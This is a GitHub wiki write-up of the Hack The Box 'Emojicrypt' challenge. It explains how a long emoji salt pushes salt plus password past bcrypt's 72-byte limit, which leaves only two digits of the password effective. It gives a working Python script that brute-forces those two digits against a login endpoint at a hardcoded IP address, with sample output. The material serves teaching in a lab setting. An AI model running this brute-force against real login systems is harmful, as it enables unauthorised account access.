HTB Emojicrypt writeup - Pez1181/CTF GitHub Wiki
HTB Write-up: Emojicrypt
Challenge Type: Web / Authentication
Difficulty: Moderate
Vulnerability: Bcrypt truncation leading to reduced password entropy
Protection Bypassed: None – design flaw in salt + password concatenation
🔍 Recon
Observations from initial testing:
- Two endpoints discovered: /register and /login.
- The /register endpoint creates a user account by generating a random:
- Emoji-based salt using Python’s random.choices(EMOJIS, k=12)
- 32-digit numeric password
- The concatenated salt + password is hashed with bcrypt.
On manual inspection and code review, it was noted that:
- The salt is constructed by joining 12 emojis with the string "aa".
- The resulting salt is roughly 70 bytes in size.
- Appending the 32-digit password pushes the input length to ~102 bytes—exceeding bcrypt’s 72-byte input limit.
⚖️Vulnerability Analysis
The critical flaw stems from bcrypt’s 72-byte truncation:
Salt generation
salt = "aa".join(random.choices(EMOJIS, k=12))
- Each emoji is approximately 4 bytes in UTF-8.
- With 12 emojis and 11 occurrences of “aa” (2 bytes each), the salt reaches nearly 70 bytes.
Password generation
- A 32-digit numeric password is created.
Combined Input:
- The salt and password together produce a ~102-byte input.
Bycrypt Behavior:
- Bycrypt only processes the first 72 bytes.
- This means that the majority of the 32-digit password is discarded.
Impact:
- Only the first 2 digits of the password are actually hashed. The effective key space is reduced from 10³² to just 10² (100 possible combinations).
⚙️ Exploit Strategy
Identify the Issue:
- Realise that the salt + password combination exceeds bcrypt’s 72-byte limit, truncating the password to its first 2 digits.
Leverage Reduced Keyspace:
- With only 100 possibilities (00–99), brute-forcing becomes trivial.
Brute-Force the Login:
- Use a tool such as Burp Suite Intruder or a custom script to iterate through all 2-digit possibilities until a valid login is achieved (the correct two digits will yield a flag).
🚀 Exploit Code (Python Example)
Below is a Python snippet (suitable for demonstration/testing) that brute-forces the 2-digit password for a known username (e.g., a registered account):
import requests
LOGIN_URL = "http://52.188.82.43:8060/login"
def brute_force_2_digit(username):
"""
Iterates through all 2-digit combinations (00 to 99) as the effective password.
Returns the flag when the correct password is found.
"""
for i in range(100):
guess = f"{i:02d}" # Format integer i to two-digit string
data = {
"username": username,
"password": guess
}
response = requests.post(LOGIN_URL, data=data)
if response.status_code == 200 and "flag" in response.text.lower():
print(f"[+] Successful login with password: {guess}")
return response.text
return None
if __name__ == "__main__":
user = "victimuser" # Replace with an actual registered username
flag = brute_force_2_digit(user)
if flag:
print(f"[+] Flag: {flag}")
else:
print("[-] Exploit failed - no valid password found.")
Explanation:
- We try each integer from 0 to 99.
- Each integer is formatted as a two-digit string (e.g., 00, 01, …).
- A POST request is sent to the /login endpoint using the guessed password.
- If the server response indicates a successful login (HTTP 200 and containing the word “flag”), we’ve found the valid password.
🔌 Output Example
[+] Successful login with password: 37
[+] Flag: HTB{3m0j1_cryp7_trunc47i0n_vu1ner4b1l1ty}
🌟 Final Notes
Key Lesson:
Always verify that your hashing inputs (salt + password) do not exceed the limits of the cryptographic function—in this case, bcrypt’s 72-byte limit.
Security Implication:
Although a 32-digit password appears secure, due to poor concatenation practices, only 2 digits were effectively used—drastically reducing its entropy.
Takeaway:
This design flaw made the authentication system trivial to bypass via brute-force, demonstrating that implementation details are as critical as overall cryptographic design.